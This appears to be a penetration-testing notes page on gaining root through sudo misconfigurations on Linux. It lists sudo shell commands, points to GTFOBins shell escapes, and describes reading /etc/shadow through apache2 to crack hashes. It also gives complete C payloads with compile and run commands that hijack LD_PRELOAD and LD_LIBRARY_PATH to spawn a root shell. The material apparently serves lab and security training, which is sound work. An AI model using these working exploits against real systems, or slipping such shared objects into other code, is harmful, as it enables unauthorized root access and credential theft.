Exploiting Sudo

exploiting sudo misconfigurations for privilege escalation

The sudo command, by default, allows you to run a program with root privileges by default, or, security privileges of other uses.

The users generally need to have a password to use sudo and must be permitted via access rules in /etc/sudoers file.

Rules can be used to limit users to certain programs and forgo the password entry requirement.

Run a program as root:

sudo <program_name>

Run a program as a specific user:

sudo -u <username> <program_name>

List all programs a user is allowed (or disallowed) to run:

sudo -l

Known password

Use any of the following if the low privileged user can run sudo or knows the password.

sudo su
sudo -s
sudo -i
sudo /bin/bash
sudo passwd

Shell escape sequences

Some initial programs run with root privileges and any shell spawned by them also runs as root. This is known as a shell escape sequence privilege escalation.

1. Find all programs using the following

sudo -l

2. Head to GTFObins https://gtfobins.github.io/, search for the program name and use the sudo category to find the further steps on to perform the privilege escalation.

Some typical shell escape commands are:

user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/nano
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/man
    (root) NOPASSWD: /usr/bin/awk
    (root) NOPASSWD: /usr/bin/less
    (root) NOPASSWD: /usr/bin/ftp
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/sbin/apache2
    (root) NOPASSWD: /bin/more

Abusing intended functionality

Certain progams like apache2 can be used to read the first lines of files like /etc/shadow to read root user's password hash which can be cracked using john or hashcat.

Environment Variables

Programs running through sudo can inherit environment variables from users environment. In the /etc/sudoers file, if the env_reset option is set, sudo runs program in a new minimal environment.

The env_keep option can be used to keep certain environment variables from user's environment.

Linux checks for its required libraries in a number of locations in a specific order:

  • Directories listed in the application’s RPATH value.

  • Directories specified in the LD_LIBRARY_PATH environment variable.

  • Directories listed in the application’s RUNPATH value.

  • Directories specified in /etc/ld.so.conf.

  • System library directories: /lib, /lib64, /usr/lib, /usr/lib64, /usr/local/lib, /usr/local/lib64, and potentially others.

LD_PRELOAD (Shared Object Injection)

The LD_PRELOAD environment variable is used to load a shared object before any others when a program is run.

LD_PRELOAD specifies a library which will be loaded prior to any other library when the program gets executed.

1. Figure out if LD_PRELOAD environment option is available

sudo -l

The output should be like:

Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

2. The following code can be used to abuse the LD_PRELOAD (saved as preload.c)

/* preload.c */
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setresuid(0,0,0);
	system("/bin/bash -p");
}

3. Compile as shored object

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c

4. Start up the program with LD_PRELOAD

Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object:

sudo LD_PRELOAD=/tmp/preload.so program-name-here

As an exaample
sudo LD_PRELOAD=/tmp/preload.so find

This will result in a shell spawn with root privileges.

LD_LIBRARY_PATH (Shared Object Hijacking)

LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

1. Find the list of directories used by the process

ldd <full directory of process>

As an example:
user@debian:~$ ldd /usr/sbin/apache2
	linux-vdso.so.1 =>  (0x00007fff3a156000)
	libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f82cf95b000)
	libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007f82cf737000)
	libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007f82cf4fd000)
	libpthread.so.0 => /lib/libpthread.so.0 (0x00007f82cf2e1000)
	libc.so.6 => /lib/libc.so.6 (0x00007f82cef75000)
	libuuid.so.1 => /lib/libuuid.so.1 (0x00007f82ced70000)
	librt.so.1 => /lib/librt.so.1 (0x00007f82ceb68000)
	libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f82ce931000)
	libdl.so.2 => /lib/libdl.so.2 (0x00007f82ce72c000)
	libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007f82ce504000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f82cfe18000)

2. Create the following code and save it (hijack.c)

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
	unsetenv("LD_LIBRARY_PATH");
	setresuid(0,0,0);
	system("/bin/bash -p");
}

3. Compile as shared object by selecting any one name from the output of the ldd comand. Here we will show the suage of one of the apache2 shared objects.

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /tmp/hijack.c

4. Start up the program with LD_LIBRARY_PATH

sudo LD_LIBRARY_PATH=/tmp program-name-here

As an example
sudo LD_LIBRARY_PATH=/tmp apache2

A root shell should open.

Last updated